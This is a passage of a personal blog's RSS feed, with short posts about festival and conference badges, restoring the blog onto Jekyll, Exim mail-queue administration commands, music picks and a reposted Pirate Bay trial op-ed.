  8843.  
  8844.  <item>
  8845.    <title>Caprices 2010</title>
  8846.    <link>https://blog.x-way.org/Badges/2011/12/11/Caprices-2010.html</link>
  8847.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324163</guid>
  8848.    <dc:creator>Andreas Jaggi</dc:creator>
  8849.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8850.    <pubDate>Sun, 11 Dec 2011 11:35:00 +0100</pubDate>
  8851.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8852.    <description><![CDATA[<p>Right at the beginning of spring, in the beautiful mountains of <a href="http://www.crans-montana.ch/" title="Crans-Montana">Crans-Montana</a>, there is: <a href="http://www.caprices.ch/" title="Caprices Festival">Caprices 2010</a></p>
  8853. <p><img src="https://blog.x-way.org/images/badges/Caprices_2010.jpeg" alt="Caprices 2010" height="155" width="242"></p>
  8854. ]]></description>
  8855.    <content:encoded><![CDATA[<p>Right at the beginning of spring, in the beautiful mountains of <a href="http://www.crans-montana.ch/" title="Crans-Montana">Crans-Montana</a>, there is: <a href="http://www.caprices.ch/" title="Caprices Festival">Caprices 2010</a></p>
  8856. <p><img src="https://blog.x-way.org/images/badges/Caprices_2010.jpeg" alt="Caprices 2010" height="155" width="242"></p>
  8857. ]]></content:encoded>
  8858.  </item>
  8859.  
  8860.  <item>
  8861.    <title>Artiphys 2010</title>
  8862.    <link>https://blog.x-way.org/Badges/2011/12/10/Artiphys-2010.html</link>
  8863.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324162</guid>
  8864.    <dc:creator>Andreas Jaggi</dc:creator>
  8865.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8866.    <pubDate>Sat, 10 Dec 2011 09:36:00 +0100</pubDate>
  8867.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8868.    <description><![CDATA[<p>Also this one took place in 2010: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2010</a></p>
  8869. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2010.jpeg" alt="Artiphys 2010" height="279" width="354"></p>
  8870. ]]></description>
  8871.    <content:encoded><![CDATA[<p>Also this one took place in 2010: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2010</a></p>
  8872. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2010.jpeg" alt="Artiphys 2010" height="279" width="354"></p>
  8873. ]]></content:encoded>
  8874.  </item>
  8875.  
  8876.  <item>
  8877.    <title>Balelec 2010</title>
  8878.    <link>https://blog.x-way.org/Badges/2011/12/09/Balelec-2010.html</link>
  8879.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324161</guid>
  8880.    <dc:creator>Andreas Jaggi</dc:creator>
  8881.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8882.    <pubDate>Fri, 09 Dec 2011 00:37:00 +0100</pubDate>
  8883.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8884.    <description><![CDATA[<p>Like almost every year, there is a badge from: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2010</a></p>
  8885. <p><img src="https://blog.x-way.org/images/badges/Balelec_2010.jpeg" alt="Festival Balelec 2010" height="270" width="189"></p>
  8886. ]]></description>
  8887.    <content:encoded><![CDATA[<p>Like almost every year, there is a badge from: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2010</a></p>
  8888. <p><img src="https://blog.x-way.org/images/badges/Balelec_2010.jpeg" alt="Festival Balelec 2010" height="270" width="189"></p>
  8889. ]]></content:encoded>
  8890.  </item>
  8891.  
  8892.  <item>
  8893.    <title>Metropop 2010</title>
  8894.    <link>https://blog.x-way.org/Badges/2011/12/08/Metropop-2010.html</link>
  8895.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324160</guid>
  8896.    <dc:creator>Andreas Jaggi</dc:creator>
  8897.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8898.    <pubDate>Thu, 08 Dec 2011 07:44:00 +0100</pubDate>
  8899.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8900.    <description><![CDATA[<p>Looks like most of the 2011 badges are done. Now on to the 2010 ones, starting with: <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop Festival 2010</a></p>
  8901. <p><img src="https://blog.x-way.org/images/badges/Metropop_2010.jpeg" alt="Metropop 2010" height="246" width="151"></p>
  8902. ]]></description>
  8903.    <content:encoded><![CDATA[<p>Looks like most of the 2011 badges are done. Now on to the 2010 ones, starting with: <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop Festival 2010</a></p>
  8904. <p><img src="https://blog.x-way.org/images/badges/Metropop_2010.jpeg" alt="Metropop 2010" height="246" width="151"></p>
  8905. ]]></content:encoded>
  8906.  </item>
  8907.  
  8908.  <item>
  8909.    <title>Caprices 2011</title>
  8910.    <link>https://blog.x-way.org/Badges/2011/12/07/Caprices-2011.html</link>
  8911.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324159</guid>
  8912.    <dc:creator>Andreas Jaggi</dc:creator>
  8913.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8914.    <pubDate>Wed, 07 Dec 2011 14:15:00 +0100</pubDate>
  8915.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8916.    <description><![CDATA[<p>And there comes the next music festival: <a href="http://www.caprices.ch/" title="Caprices Festival">Caprices 2011</a></p>
  8917. <p><img src="https://blog.x-way.org/images/badges/Caprices_2011.jpeg" alt="Caprices 2011" height="150" width="240"></p>
  8918. ]]></description>
  8919.    <content:encoded><![CDATA[<p>And there comes the next music festival: <a href="http://www.caprices.ch/" title="Caprices Festival">Caprices 2011</a></p>
  8920. <p><img src="https://blog.x-way.org/images/badges/Caprices_2011.jpeg" alt="Caprices 2011" height="150" width="240"></p>
  8921. ]]></content:encoded>
  8922.  </item>
  8923.  
  8924.  <item>
  8925.    <title>Artiphys 2011</title>
  8926.    <link>https://blog.x-way.org/Badges/2011/12/06/Artiphys-2011.html</link>
  8927.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324158</guid>
  8928.    <dc:creator>Andreas Jaggi</dc:creator>
  8929.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8930.    <pubDate>Tue, 06 Dec 2011 07:45:00 +0100</pubDate>
  8931.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8932.    <description><![CDATA[<p>Another student music festival from <a href="http://www.epfl.ch/" title="EPFL">EPFL</a>: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2011</a></p>
  8933. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2011.jpeg" alt="Artiphys 2011" height="314" width="213"></p>
  8934. ]]></description>
  8935.    <content:encoded><![CDATA[<p>Another student music festival from <a href="http://www.epfl.ch/" title="EPFL">EPFL</a>: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2011</a></p>
  8936. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2011.jpeg" alt="Artiphys 2011" height="314" width="213"></p>
  8937. ]]></content:encoded>
  8938.  </item>
  8939.  
  8940.  <item>
  8941.    <title>Sat Rocks IV</title>
  8942.    <link>https://blog.x-way.org/Badges/2011/12/05/Sat-Rocks-IV.html</link>
  8943.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324157</guid>
  8944.    <dc:creator>Andreas Jaggi</dc:creator>
  8945.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8946.    <pubDate>Mon, 05 Dec 2011 05:20:00 +0100</pubDate>
  8947.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8948.    <description><![CDATA[<p>Again a badge from a music festival: <a href="http://satrocks.epfl.ch/" title="Sat Rocks, le festival de Satellite">Sat Rocks IV</a></p>
  8949. <p><img src="https://blog.x-way.org/images/badges/Satrocks_2011.jpeg" alt="Sat Rocks IV, c'est chouette" height="287" width="199"></p>
  8950. ]]></description>
  8951.    <content:encoded><![CDATA[<p>Again a badge from a music festival: <a href="http://satrocks.epfl.ch/" title="Sat Rocks, le festival de Satellite">Sat Rocks IV</a></p>
  8952. <p><img src="https://blog.x-way.org/images/badges/Satrocks_2011.jpeg" alt="Sat Rocks IV, c'est chouette" height="287" width="199"></p>
  8953. ]]></content:encoded>
  8954.  </item>
  8955.  
  8956.  <item>
  8957.    <title>MoleKul'Air</title>
  8958.    <link>https://blog.x-way.org/Badges/2011/12/04/MoleKulAir.html</link>
  8959.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324156</guid>
  8960.    <dc:creator>Andreas Jaggi</dc:creator>
  8961.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8962.    <pubDate>Sun, 04 Dec 2011 12:55:00 +0100</pubDate>
  8963.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8964.    <description><![CDATA[<p>The next badge is from a concert (or rather a series of three concerts): <a href="https://web.archive.org/web/20130823050631/http://www.molekulair.ch/" title="MoleKul'Air (archive.org)">MoleKul'Air</a></p>
  8965. <p><img src="https://blog.x-way.org/images/badges/MoleKulAir_2011.jpeg" alt="MoleKul'Air 2011" height="248" width="156"></p>
  8966. ]]></description>
  8967.    <content:encoded><![CDATA[<p>The next badge is from a concert (or rather a series of three concerts): <a href="https://web.archive.org/web/20130823050631/http://www.molekulair.ch/" title="MoleKul'Air (archive.org)">MoleKul'Air</a></p>
  8968. <p><img src="https://blog.x-way.org/images/badges/MoleKulAir_2011.jpeg" alt="MoleKul'Air 2011" height="248" width="156"></p>
  8969. ]]></content:encoded>
  8970.  </item>
  8971.  
  8972.  <item>
  8973.    <title>Balelec 2011</title>
  8974.    <link>https://blog.x-way.org/Badges/2011/12/03/Balelec-2011.html</link>
  8975.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324155</guid>
  8976.    <dc:creator>Andreas Jaggi</dc:creator>
  8977.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8978.    <pubDate>Sat, 03 Dec 2011 12:55:00 +0100</pubDate>
  8979.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8980.    <description><![CDATA[<p>Another badge from a music festival: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2011</a></p>
  8981. <p><img src="https://blog.x-way.org/images/badges/Balelec_2011.jpeg" alt="Festival Balelec 2011" height="287" width="205"></p>
  8982. ]]></description>
  8983.    <content:encoded><![CDATA[<p>Another badge from a music festival: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2011</a></p>
  8984. <p><img src="https://blog.x-way.org/images/badges/Balelec_2011.jpeg" alt="Festival Balelec 2011" height="287" width="205"></p>
  8985. ]]></content:encoded>
  8986.  </item>
  8987.  
  8988.  <item>
  8989.    <title>Metropop 2011</title>
  8990.    <link>https://blog.x-way.org/Badges/2011/12/02/Metropop-2011.html</link>
  8991.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324154</guid>
  8992.    <dc:creator>Andreas Jaggi</dc:creator>
  8993.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8994.    <pubDate>Fri, 02 Dec 2011 08:02:00 +0100</pubDate>
  8995.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8996.    <description><![CDATA[<p>Here comes the next badge. This time not from a tech conference but from a music festival: <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop Festival 2011</a></p>
  8997. <p><img src="https://blog.x-way.org/images/badges/Metropop_2011.jpeg" alt="Metropop Festival 2011" height="244" width="153"></p>
  8998. <p>For insiders, there is also a view of the <a href="https://blog.x-way.org/images/badges/Team_de_la_mort_2011.jpeg" title="Badge backside">backside</a> :-)</p>
  8999. ]]></description>
  9000.    <content:encoded><![CDATA[<p>Here comes the next badge. This time not from a tech conference but from a music festival: <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop Festival 2011</a></p>
  9001. <p><img src="https://blog.x-way.org/images/badges/Metropop_2011.jpeg" alt="Metropop Festival 2011" height="244" width="153"></p>
  9002. <p>For insiders, there is also a view of the <a href="https://blog.x-way.org/images/badges/Team_de_la_mort_2011.jpeg" title="Badge backside">backside</a> :-)</p>
  9003. ]]></content:encoded>
  9004.  </item>
  9005.  
  9006.  <item>
  9007.    <title>Badges</title>
  9008.    <link>https://blog.x-way.org/Badges/2011/12/01/Badges.html</link>
  9009.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324153</guid>
  9010.    <dc:creator>Andreas Jaggi</dc:creator>
  9011.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9012.    <pubDate>Thu, 01 Dec 2011 00:00:00 +0100</pubDate>
  9013.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  9014.    <description><![CDATA[<p>When attending conferences you often receive a badge granting you access (which usually is not much more than a nametag with some logo).
  9015. Also when working at concerts and festivals you receive a badge identifiying you as staff. I regularly keep these as souvenirs which remind me of the amazing times passed at those events.</p>
  9016. <p>Over the time there are now a couple of badges hanging on my closet and I think it would be nice to be able to look through them on my laptop. Thus this new <a href="https://blog.x-way.org/Badges/" title="Badges">Badges</a> category in the weblog.</p>
  9017. <p>My idea for now is to put a new badge online every day until Christmas like some form of an Advent calendar.</p>
  9018. <p>Here is the first one, it is from the <a href="http://www.swissipv6council.ch/en/events/business-konferenz-zurich-dezember" title="IPv6 Business Konferenz">IPv6 Business Konferenz</a>:<br>
  9019. <img src="https://blog.x-way.org/images/badges/IPv6_Konferenz_2011.jpeg" alt="IPv6 Konferenz 2011" height="161" width="247">
  9020. </p>
  9021. ]]></description>
  9022.    <content:encoded><![CDATA[<p>When attending conferences you often receive a badge granting you access (which usually is not much more than a nametag with some logo).
  9023. Also when working at concerts and festivals you receive a badge identifiying you as staff. I regularly keep these as souvenirs which remind me of the amazing times passed at those events.</p>
  9024. <p>Over the time there are now a couple of badges hanging on my closet and I think it would be nice to be able to look through them on my laptop. Thus this new <a href="https://blog.x-way.org/Badges/" title="Badges">Badges</a> category in the weblog.</p>
  9025. <p>My idea for now is to put a new badge online every day until Christmas like some form of an Advent calendar.</p>
  9026. <p>Here is the first one, it is from the <a href="http://www.swissipv6council.ch/en/events/business-konferenz-zurich-dezember" title="IPv6 Business Konferenz">IPv6 Business Konferenz</a>:<br>
  9027. <img src="https://blog.x-way.org/images/badges/IPv6_Konferenz_2011.jpeg" alt="IPv6 Konferenz 2011" height="161" width="247">
  9028. </p>
  9029. ]]></content:encoded>
  9030.  </item>
  9031.  
  9032.  <item>
  9033.    <title>Online Again</title>
  9034.    <link>https://blog.x-way.org/Misc/2011/11/26/Online-Again.html</link>
  9035.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324152</guid>
  9036.    <dc:creator>Andreas Jaggi</dc:creator>
  9037.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9038.    <pubDate>Sat, 26 Nov 2011 15:47:00 +0100</pubDate>
  9039.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9040.    <description><![CDATA[<p>The database which previously powered this weblog vanished without a trace two years ago and people only got some PHP/XML error when surfing this site since then. Unfortunately the last backup of the database was more than four years old...</p>
  9041. <p>To restore the content of this weblog the Webarchive from <a href="http://www.archive.org/" title="Archive.org">Archive.org</a> was parsed with the help of some scripts in order to extract the missing posts. The resulting data was cross-checked with the last database backup and the generated static RSS feed files. <br>Then all the posts with their meta information were converted and stored in the appropriate format for the new system. Finally the layout was migrated to the new system and some glue files were created in order to provide backwards compatibility for the old link format.</p>
  9042. <p>After two months of restore/migration/polishing work the weblog is now online again, powered by <a href="http://github.com/mojombo/jekyll">jekyll</a> and currently hosted with <a href="http://pages.github.com">GitHub Pages</a>.</p>
  9043. ]]></description>
  9044.    <content:encoded><![CDATA[<p>The database which previously powered this weblog vanished without a trace two years ago and people only got some PHP/XML error when surfing this site since then. Unfortunately the last backup of the database was more than four years old...</p>
  9045. <p>To restore the content of this weblog the Webarchive from <a href="http://www.archive.org/" title="Archive.org">Archive.org</a> was parsed with the help of some scripts in order to extract the missing posts. The resulting data was cross-checked with the last database backup and the generated static RSS feed files. <br>Then all the posts with their meta information were converted and stored in the appropriate format for the new system. Finally the layout was migrated to the new system and some glue files were created in order to provide backwards compatibility for the old link format.</p>
  9046. <p>After two months of restore/migration/polishing work the weblog is now online again, powered by <a href="http://github.com/mojombo/jekyll">jekyll</a> and currently hosted with <a href="http://pages.github.com">GitHub Pages</a>.</p>
  9047. ]]></content:encoded>
  9048.  </item>
  9049.  
  9050.  <item>
  9051.    <title>Unfreeze messages in Exim queue</title>
  9052.    <link>https://blog.x-way.org/Linux/2009/07/28/Unfreeze-messages-in-Exim-queue.html</link>
  9053.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324151</guid>
  9054.    <dc:creator>Andreas Jaggi</dc:creator>
  9055.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9056.    <pubDate>Tue, 28 Jul 2009 22:25:00 +0200</pubDate>
  9057.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9058.    <description><![CDATA[<p>To process all **frozen** messages in the Exim queue use this command:</p>
  9059.  
  9060. <pre>mailq | grep frozen | awk '{print $3}' | xargs exim -v -M</pre>
  9061. ]]></description>
  9062.    <content:encoded><![CDATA[<p>To process all **frozen** messages in the Exim queue use this command:</p>
  9063.  
  9064. <pre>mailq | grep frozen | awk '{print $3}' | xargs exim -v -M</pre>
  9065. ]]></content:encoded>
  9066.  </item>
  9067.  
  9068.  <item>
  9069.    <title>Remove all messages in the Exim queue</title>
  9070.    <link>https://blog.x-way.org/Linux/2009/03/10/Remove-all-messages-in-the-Exim-queue.html</link>
  9071.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324150</guid>
  9072.    <dc:creator>Andreas Jaggi</dc:creator>
  9073.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9074.    <pubDate>Tue, 10 Mar 2009 14:50:00 +0100</pubDate>
  9075.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9076.    <description><![CDATA[<p>To whipe the Exim message queue use the following command:</p>
  9077.  
  9078. <pre>exim -bp | exiqgrep -i | xargs exim -Mrm</pre>
  9079. ]]></description>
  9080.    <content:encoded><![CDATA[<p>To whipe the Exim message queue use the following command:</p>
  9081.  
  9082. <pre>exim -bp | exiqgrep -i | xargs exim -Mrm</pre>
  9083. ]]></content:encoded>
  9084.  </item>
  9085.  
  9086.  <item>
  9087.    <title>Prevent Exim4 from using up all disk space on Debian</title>
  9088.    <link>https://blog.x-way.org/Linux/2009/03/06/Prevent-Exim4-from-using-up-all-disk-space-on-Debian.html</link>
  9089.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324149</guid>
  9090.    <dc:creator>Andreas Jaggi</dc:creator>
  9091.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9092.    <pubDate>Fri, 06 Mar 2009 10:20:00 +0100</pubDate>
  9093.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  9094.    <description><![CDATA[<p>Adding the following line to the Exim4 configuration prevents that all the disk space is used up by the messages in the spool folder:</p>
  9095.  
  9096. <pre>check_spool_space=100M</pre>
  9097.  
  9098. <p>
  9099.  
  9100. This refuses incoming messages with a "452 Space shortage, please try later" message when less than 100 megabytes of disk space are available on the partition where the spool folder resides.
  9101.  
  9102. </p>
  9103. ]]></description>
  9104.    <content:encoded><![CDATA[<p>Adding the following line to the Exim4 configuration prevents that all the disk space is used up by the messages in the spool folder:</p>
  9105.  
  9106. <pre>check_spool_space=100M</pre>
  9107.  
  9108. <p>
  9109.  
  9110. This refuses incoming messages with a "452 Space shortage, please try later" message when less than 100 megabytes of disk space are available on the partition where the spool folder resides.
  9111.  
  9112. </p>
  9113. ]]></content:encoded>
  9114.  </item>
  9115.  
  9116.  <item>
  9117.    <title>PDM TODO Performance</title>
  9118.    <link>https://blog.x-way.org/School/2009/03/04/PDM-TODO-Performance.html</link>
  9119.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324148</guid>
  9120.    <dc:creator>Andreas Jaggi</dc:creator>
  9121.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9122.    <pubDate>Wed, 04 Mar 2009 16:23:00 +0100</pubDate>
  9123.    <category domain="https://blog.x-way.org/School/">School</category>
  9124.    <description><![CDATA[<p>
  9125.  
  9126. <img src="https://blog.x-way.org/images/tbd.png" alt="Yep, that's right: two days left to my personal deadline and just a little more than half of the TODOs done..." title="Yep, that's right: two days left to my personal deadline and just a little more than half of the TODOs done..." width="576" height="403" style="border:0;">
  9127.  
  9128. </p>
  9129. ]]></description>
  9130.    <content:encoded><![CDATA[<p>
  9131.  
  9132. <img src="https://blog.x-way.org/images/tbd.png" alt="Yep, that's right: two days left to my personal deadline and just a little more than half of the TODOs done..." title="Yep, that's right: two days left to my personal deadline and just a little more than half of the TODOs done..." width="576" height="403" style="border:0;">
  9133.  
  9134. </p>
  9135. ]]></content:encoded>
  9136.  </item>
  9137.  
  9138.  <item>
  9139.    <title>Gmail problems</title>
  9140.    <link>https://blog.x-way.org/Misc/2009/02/24/Gmail-problems.html</link>
  9141.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324147</guid>
  9142.    <dc:creator>Andreas Jaggi</dc:creator>
  9143.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9144.    <pubDate>Tue, 24 Feb 2009 13:11:00 +0100</pubDate>
  9145.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9146.    <description><![CDATA[<p>This comment on the Gmail problems made my day:</p>
  9147.  
  9148. <blockquote><p>
  9149.  
  9150. They're testing their new offline feature :)
  9151.  
  9152. </p></blockquote>
  9153.  
  9154. <p>(<a href="http://www.reddit.com/r/reddit.com/comments/7ztuo/gmail_down_im_getting_server_error_the_server/" title="reddit.com">via</a>)</p>
  9155. ]]></description>
  9156.    <content:encoded><![CDATA[<p>This comment on the Gmail problems made my day:</p>
  9157.  
  9158. <blockquote><p>
  9159.  
  9160. They're testing their new offline feature :)
  9161.  
  9162. </p></blockquote>
  9163.  
  9164. <p>(<a href="http://www.reddit.com/r/reddit.com/comments/7ztuo/gmail_down_im_getting_server_error_the_server/" title="reddit.com">via</a>)</p>
  9165. ]]></content:encoded>
  9166.  </item>
  9167.  
  9168.  <item>
  9169.    <title>Music for a hard wake-up in the morning II</title>
  9170.    <link>https://blog.x-way.org/Music/2009/02/21/Music-for-a-hard-wake-up-in-the-morning-II.html</link>
  9171.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324146</guid>
  9172.    <dc:creator>Andreas Jaggi</dc:creator>
  9173.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9174.    <pubDate>Sat, 21 Feb 2009 13:28:00 +0100</pubDate>
  9175.    <category domain="https://blog.x-way.org/Music/">Music</category>
  9176.    <description><![CDATA[<p><strong>Tagada Jones &mdash; Une fois de plus (Industrial Version)</strong></p>
  9177.  
  9178. <p><a href="http://www.tagadajones.com/" title="Tagada Jones"><img src="https://blog.x-way.org/images/unefoisdetrop.jpg" height="256" width="256" alt="Tagada Jones - 1 fois de plus" style="border: 0;"></a></p>
  9179. ]]></description>
  9180.    <content:encoded><![CDATA[<p><strong>Tagada Jones &mdash; Une fois de plus (Industrial Version)</strong></p>
  9181.  
  9182. <p><a href="http://www.tagadajones.com/" title="Tagada Jones"><img src="https://blog.x-way.org/images/unefoisdetrop.jpg" height="256" width="256" alt="Tagada Jones - 1 fois de plus" style="border: 0;"></a></p>
  9183. ]]></content:encoded>
  9184.  </item>
  9185.  
  9186.  <item>
  9187.    <title>Music for a hard wake-up in the morning</title>
  9188.    <link>https://blog.x-way.org/Music/2009/02/19/Music-for-a-hard-wake-up-in-the-morning.html</link>
  9189.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324145</guid>
  9190.    <dc:creator>Andreas Jaggi</dc:creator>
  9191.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9192.    <pubDate>Thu, 19 Feb 2009 17:24:00 +0100</pubDate>
  9193.    <category domain="https://blog.x-way.org/Music/">Music</category>
  9194.    <description><![CDATA[<p><strong>Die Toten Hosen &mdash; Strom</strong></p>
  9195.  
  9196. <p><a href="https://youtu.be/oX0w21HMkxU" title="Die Toten Hosen - Strom - YouTube">Die Toten Hosen - Strom</a></p>
  9197. ]]></description>
  9198.    <content:encoded><![CDATA[<p><strong>Die Toten Hosen &mdash; Strom</strong></p>
  9199.  
  9200. <p><a href="https://youtu.be/oX0w21HMkxU" title="Die Toten Hosen - Strom - YouTube">Die Toten Hosen - Strom</a></p>
  9201. ]]></content:encoded>
  9202.  </item>
  9203.  
  9204.  <item>
  9205.    <title>The Pirate Bay Trial op-editorial</title>
  9206.    <link>https://blog.x-way.org/Misc/2009/02/16/The-Pirate-Bay-Trial-op-editorial.html</link>
  9207.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324144</guid>
  9208.    <dc:creator>Andreas Jaggi</dc:creator>
  9209.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  9210.    <pubDate>Mon, 16 Feb 2009 20:46:00 +0100</pubDate>
  9211.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  9212.    <description><![CDATA[<p>The trial against The Pirate Bay that started today in Stockholm, Sweden are one of the most important issues of our time. Our adversaries basically wants to close down internets and remodel it into something similar of a sodamachine serving entertainment. During the trial, the prosecutor together with a coterie of representatives for a disabled business model will put up a tacky theater by telling stories designed to convince the court that The Pirate Bay infact is a menace to society.</p>
  9213.  
  9214. <p>What differs this trial from most earlier trials is that everything in and surrounding it will whirl round and round in diverse channels of communication; to be discussed, reinterpreted, copied and critizised. Every crack in their appeal will be penetrated by the gaze of thousands upon thousands of eyes on the internets, in all the channels covering the trial. Old cliches from the antipiracy lobby wont stick. You won’t be able to say stuff like, ”you can’t compete with free” or ”filesharing is theft” without a thousand voices making fun of you.</p>
  9215.  
  9216. <p>We will create numerous scenes where quite different plays will take place. In local channels like spectrial.bloggy.se where the immediate physical surroundings of the court are being discussed. ”Which cafés nearby will give us connection?” ”How can we get electricity to the bus?” But also in international channels like Twitter, where right now the torrent of information is being translated into fifteen different languages. Translations and coverage being made by ordinary users of internets. Volunteers sign up to make trial-tourist guides to the surroundings, drive the bus or hook up audio. People fly in from far away countries to cover the trial and tell the world their video story of the Sweden they see.</p>
  9217.  
  9218. <p>Here all participants are potential actors in the Spectrial. Our channels form a meltingpot of reporting and engagement.</p>
  9219.  
  9220. <p>Our communication around the spectacle aims in no way towards an objective report on an external chain of events. Rather, the trial is a hub around which a whole new network of actors is instigated. Neither is the spectacle a question of old media against digital, social medias. Our social medias include a paper fanzine and a 32 year old bus, connecting us and others physically.</p>
  9221.  
  9222. <p>It’s not about the protocols nor the technology. It’s about using these to create new congregations, where anyone is invited and anyone can find their role, build new scenes and make their own performances.</p>
  9223.  
  9224. <p>The future is built by us. Us who participate in conversations. The future is built by us who explore how information and performativity is coming together. To refuse a debate and still expect to be able to charge consumers is since long a closed door. To also try and outlaw certain types of conversations is downright disgraceful.</p>
  9225.  
  9226. <p>The coverage of the trial is not unique in these qualities. More and more areas see the creation of conversations on and the exploration of new stances on culture and cultural economy. A gigantic collective exploration has set sails. Every route differs from the other. But they have one thing in common: The industry interests that the state is representing are never present in these conversations. This is why they wont be part in building the future.</p>
  9227.  
  9228. <p>maintain hardline kopimi</p>
  9229.  
  9230. <p>The Bureau for Piracy and The Pirate Bay<br>
  9231.  
  9232. via the internets</p>
  9233.  
  9234. <p>this article was translated by proud peers of The Pirate Bay
  9235.  
  9236. trial.thepiratebay.org</p>
  9237.  
  9238. <p>
  9239.  
  9240. (<a href="https://web.archive.org/web/20090221093327/http://trial.thepiratebay.org/2009/02/16/publish-as-us-in-your-country/" title="Publish as us, in your country (archive.org)">via</a>)
  9241.  
  9242. </p>
  9243. ]]></description>
  9244.    <content:encoded><![CDATA[<p>The trial against The Pirate Bay that started today in Stockholm, Sweden are one of the most important issues of our time. Our adversaries basically wants to close down internets and remodel it into something similar of a sodamachine serving entertainment. During the trial, the prosecutor together with a coterie of representatives for a disabled business model will put up a tacky theater by telling stories designed to convince the court that The Pirate Bay infact is a menace to society.</p>
  9245.  
  9246. <p>What differs this trial from most earlier trials is that everything in and surrounding it will whirl round and round in diverse channels of communication; to be discussed, reinterpreted, copied and critizised. Every crack in their appeal will be penetrated by the gaze of thousands upon thousands of eyes on the internets, in all the channels covering the trial. Old cliches from the antipiracy lobby wont stick. You won’t be able to say stuff like, ”you can’t compete with free” or ”filesharing is theft” without a thousand voices making fun of you.</p>
  9247.  
